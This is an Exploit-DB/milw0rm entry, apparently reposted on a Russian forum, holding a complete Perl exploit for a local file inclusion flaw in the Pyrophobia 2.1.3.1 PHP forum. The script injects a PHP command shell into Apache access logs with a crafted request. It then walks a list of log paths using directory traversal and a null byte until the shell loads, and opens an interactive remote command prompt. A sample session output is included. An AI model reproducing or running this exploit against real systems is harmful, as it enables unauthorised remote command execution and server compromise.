Exploit Pyrophobia 2.1.3.1 - Local File Inclusion Command Execution

[Exploiter]

EDB-ID

8095

Проверка EDB

1. Пройдено

Автор

OSIRYS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2009-02-23

#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# |                     INFORMATIONS                                                                                                 |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application :  Pyrophobia 2.1.3.1                                                                                             |
# |Download        :  http://surfnet.dl.sourceforge.net/sourceforge/pyrophobia/pyro2_1_3_1.tar.gz                                    |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Command Execution Exploit via Apache Log Injection                                                                         |
# |by Osirys                                                                                                                         |
# |osirys[at]autistici[dot]org                                                                                                       |
# |osirys.org                                                                                                                        |
# |Thx&Greets to: evilsocket, Fireshot, Todd, str0ke                                                                                 |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |/[path]/index.php is affected to Local File Inclusion vulnerability:
# |[code]
# |<?php
# |<.... code ....>
# |     if($_GET['pid']){ //if page id is set do custom content functions
# |             $pid=stripslashes($_GET['pid']);
# |             $pid=htmlspecialchars($pid);
# |             if ($pid=='') {
# |                  include('modules/index.php');
# |             } elseif (!file_exists('content/'.$pid.'.php')) {
# |                  include('modules/index.php');
# |             } else {
# |                  include('content/'.$pid.'.php');
# |             }
# |     }
# |<.... code ....>
# |

# |$pid comes from GET directly.
# |Works regardless of php.ini settings !
# |p0c : /[path]/index.php?pid=[lfi]%00

# ------------------------------------------------------------------
# Exploit in action [>!]
# ------------------------------------------------------------------
# osirys[~]>$ perl lfi.txt Для просмотра ссылки Войди или Зарегистрируйся
#
# ---------------------------------
# Pyrophobia Forum RCE Sploit
# (Log Inj)
# by Osirys
# ---------------------------------
#
# [*] Injecting evil php code ..
# [*] Cheeking for Apache Logs ..
# [*] Apache Log Injection completed
# [*] Path: /var/log/httpd/access_log
# [!] Hi my master, do your job now [x]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pws
# bash: pws: command not found
# shell[localhost]$> pwd
# /home/osirys/web/pyro2_1_3_1
# shell[localhost]$> exit
# [-] Quitting ..
#
# osirys[~]>$
# ------------------------------------------------------------------


use IO::Socket::INET;
use LWP::UserAgent;

my $host = $ARGV[0];
my $lfi_path = "/index.php?pid=";
my $null_byte = "%00";
my $rand_a = int(rand 150);
my $rand1 = "1337".$rand_a."1337";
my $rand_b = int(rand 150);
my $rand2 = "1337".$rand_b."1337";
my $gotcha = 0;
my $dir_trasv = "../../../../../../../../../..";
my @logs_dirs = qw(
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/access_log
/logs/error.log
/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/etc/httpd/logs/access_log
/usr/local/apache/logs/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/www/logs/access_log
/var/www/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
/apache/logs/access.log
);

my $php_code = "<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=st".
"ripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);


$sock = IO::Socket::INET->new(
PeerAddr => $h0st,
PeerPort => 80,
Proto => "tcp"
) || die "Can't connect to $host:80!\n";

print "[*] Injecting evil php code ..\n";


print $sock "GET /Osirys_log_inj start0".$rand1.$php_code."0end".$rand2." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);

print "[*] Cheeking for Apache Logs ..\n";

while (($log = <@logs_dirs>)&&($gotcha != 1)) {
$tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;
$re = get_req($tmp_path);
if ($re =~ /Osirys_log_inj/) {
$gotcha = 1;
$log_path = $tmp_path;
print "[*] Apache Log Injection completed\n";
print "[*] Path: $log\n";
print "[!] Hi my master, do your job now [x]\n\n";
&exec_cmd;
}
}

$gotcha == 1 || die "[-] Couldn't find Apache Logs\n";

sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n\n";
$exec_url = $log_path."&cmd=".$cmd;
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ m/start0$rand1(.+)\*0end$rand2/g) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}

}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub banner {
print "\n".
" --------------------------------- \n".
" Pyrophobia Forum RCE Sploit \n".
" (Log Inj) \n".
" by Osirys \n".
" --------------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input data failed ! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 Для просмотра ссылки Войди или Зарегистрируйся";
exit(0);
}

# milw0rm.com [2009-02-23][/CODE]